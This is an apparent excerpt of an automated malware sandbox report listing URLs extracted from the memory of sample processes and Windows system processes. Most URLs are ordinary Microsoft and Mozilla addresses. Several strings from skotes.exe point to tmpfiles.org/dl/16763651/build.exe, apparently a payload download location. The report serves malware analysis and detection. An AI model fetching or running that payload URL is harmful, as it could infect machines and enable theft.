Source: explorer.exe, 0000001E.00000002.4028158216.000000000862F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=A1668CA4549A443399161CE8D2237D12&timeOut=5000&oc
Source: explorer.exe, 0000001E.00000002.4028158216.00000000086A0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008685000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?z$
Source: explorer.exe, 0000001E.00000002.4028158216.0000000008796000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008796000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/~T
Source: explorer.exe, 0000001E.00000003.3087116657.0000000002F10000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2658373854.0000000002F10000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 0000001E.00000002.4028158216.00000000086A0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008685000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
Source: file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072947240.0000000023780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072947240.0000000023780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: svchost.exe, 00000035.00000000.2796459006.000001A31C09B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.4008194695.000001A31C087000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000035.00000000.2796327534.000001A31C087000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.onenote.net/livetile/?Language=
Source: explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKhb
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKhb-dark
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv-dark
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPi8
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPi8-dark
Source: file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072947240.0000000023780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072947240.0000000023780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000029.00000002.2793368169.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000029.00000002.2793368169.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000029.00000002.2793368169.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 0000001E.00000002.4039426673.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2676999905.000000000BDEA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: svchost.exe, 00000028.00000000.2745616041.0000019EA609D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.2739161150.0000019EA5AB3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.comSRD1%
Source: powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2802482450.0000000007282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000001B.00000002.2639829502.00000000059CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2639829502.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
Source: explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1eBTmz.img
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hGNsX.img
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAT0qC2.img
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AATs0AB.img
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1e6XdQ.img
Source: file.exe, 00000000.00000002.2072947240.0000000023780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: svchost.exe, 00000036.00000002.3972769188.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000000.2806967514.000001FC08C40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3971956325.000001FC08C40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000000.2806673974.000001FC08C13000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comdy
Source: svchost.exe, 00000036.00000000.2807061471.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3972769188.000001FC08C5C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comnet
Source: svchost.exe, 00000035.00000002.4019398332.000001A31C75A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000035.00000000.2799653928.000001A31C75A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common
Source: svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net
Source: svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/
Source: svchost.exe, 00000036.00000000.2806967514.000001FC08C40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3971956325.000001FC08C40000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/03
Source: svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/A9B2
Source: svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.netffer
Source: svchost.exe, 00000036.00000000.2807133226.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000036.00000002.3973525891.000001FC08C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.netm
Source: powershell.exe, 0000001B.00000002.2646659499.0000000006274000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2708841815.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2793368169.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 0000001E.00000002.4039426673.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2676999905.000000000BDEA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: svchost.exe, 00000028.00000000.2745616041.0000019EA609D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.comSRD1-
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://parade.com/61481/toriavey/where-did-hamburgers-originate
Source: explorer.exe, 0000001E.00000002.4039426673.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2676999905.000000000BDEA000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.2728412368.0000019EA50AB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.4017492319.0000019EA5E95000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.3983152020.0000019EA50AB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.2744210796.0000019EA5E95000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com
Source: svchost.exe, 00000028.00000002.4017492319.0000019EA5E95000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.2744210796.0000019EA5E95000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comD
Source: file.exe, 00000000.00000003.1937400181.0000000023A58000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2034821109.00000000006C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1937400181.0000000023A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/16763651/build.exe
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/16763651/build.exe760
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/16763651/build.exea%
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/16763651/build.exek
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/16763651/build.exeoded
Source: skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/16763651/build.exes
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000001E.00000002.4028158216.000000000862F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/
Source: explorer.exe, 0000001E.00000000.2671707965.000000000899E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/bat
Source: explorer.exe, 0000001E.00000002.4039426673.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2676999905.000000000BDEA000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.2740464302.0000019EA5CE5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.4013707207.0000019EA5CE5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: svchost.exe, 00000028.00000002.4004064329.0000019EA5932000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.2737104609.0000019EA5932000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comSRD1#
Source: file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072947240.0000000023780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: skotes.exe, 00000013.00000002.3954473622.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.2902153425.0000000000C18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: skotes.exe, 00000013.00000002.3954473622.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1685279605.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.2072947240.00000000237E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072947240.0000000023780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2034821109.00000000006C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2034821109.00000000006C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/EGDGDGDGHJKK
Source: file.exe, 00000000.00000003.1937400181.0000000023A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2034821109.00000000006C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2034821109.00000000006C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: file.exe, 00000000.00000003.1937400181.0000000023A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1937400181.0000000023A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2034821109.00000000006C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1937400181.0000000023A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1937400181.0000000023A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2034821109.00000000005E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/foodanddrink/foodnews/the-best-burger-place-in-phoenix-plus-see-the-rest-o
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/companies/kaiser-permanente-and-unions-for-75-000-striking-health-wo
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
Source: explorer.exe, 0000001E.00000003.3085043977.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2661851804.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/crime/bar-fight-leaves-man-in-critical-condition-suspect-arrested-in-
